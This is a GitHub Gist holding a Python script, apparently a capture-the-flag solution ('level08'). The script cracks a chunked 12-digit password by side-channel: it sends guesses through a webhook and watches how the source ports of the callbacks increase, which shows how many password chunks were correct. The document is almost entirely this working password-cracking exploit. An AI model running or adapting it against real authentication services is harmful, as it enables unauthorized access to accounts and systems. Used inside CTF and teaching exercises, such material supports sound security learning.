Skip to content

Instantly share code, notes, and snippets.

@jcromartie
Created August 29, 2012 04:01
Show Gist options
  • Select an option

  • Save jcromartie/92896a3af1c9aa43da67 to your computer and use it in GitHub Desktop.

Select an option

Save jcromartie/92896a3af1c9aa43da67 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import sys
import string
import socket
import threading
import urllib
import urllib2
class PostOp(threading.Thread):
"""Simple write-only async HTTP POST operation class."""
def __init__(self, url, data):
threading.Thread.__init__(self)
self.url = url
self.data = data
def run(self):
try:
req = urllib2.Request(self.url, self.data)
response = urllib2.urlopen(req)
except:
print "Error in server"
def str_pass(chunks):
"""Returns a 12-char password string for the given list of chunks"""
return string.join([str(x).rjust(3, "0") for x in chunks], "").ljust(12, "0")
class WebHook:
def __init__(self, passdb, host, port):
self.passdb = passdb
self.host = host
self.port = port
# set up the webhook socket and wait for a connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print "binding on port", port
s.bind(("", port))
print "listening"
s.listen(1)
self.socket = s
def test(self, password):
"""Sends password check to API and returns port and request body of webhook caller"""
data = '{"password":"%s", "webhooks":["%s:%s"]}' % (password, self.host, self.port)
t = PostOp(self.passdb, data = data)
t.start()
# and wait for the response...
conn, (addr, port) = self.socket.accept()
data = conn.recv(4096)
conn.close()
return (port, data)
def step_chunk(c):
"""Returns tuple with last element incremented by 1"""
return c[:-1] + (c[-1] + 1,)
def search(chunks, base_delta, hook):
last_port = None
while 1:
password = str_pass(chunks)
port, data = hook.test(password)
print password, port
if data.find("true") > 0:
return password
elif not last_port or port < last_port:
last_port = port
else:
delta = port - last_port
last_port = port
win_delta = base_delta + len(chunks)
if delta == win_delta:
chunks = step_chunk(chunks + (0,))
elif delta == win_delta - 1:
chunks = step_chunk(chunks)
elif delta < win_delta - 1:
chunks = step_chunk(chunks[:-1])
if __name__ == "__main__":
if len(sys.argv) < 5:
print "usage: level08.py passdb_url webhook_spec base_delta starting_password"
exit(1)
# should be http(s)://...
passdb = sys.argv[1]
# should be host:port
webhook = sys.argv[2]
webhook_host, webhook_port_str = webhook.split(":")
webhook_port = int(webhook_port_str)
# would be 4 on my machine, 2 on the real server
base_delta = int(sys.argv[3])
# use 0 or another starting point to restart search
init_pw = sys.argv[4]
# split starting password into tuple of int from trigrams
init_chunks = tuple([int(init_pw[i:i + 3]) for i in range(0, len(init_pw), 3)])
print search(init_chunks, base_delta, WebHook(passdb, webhook_host, webhook_port))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment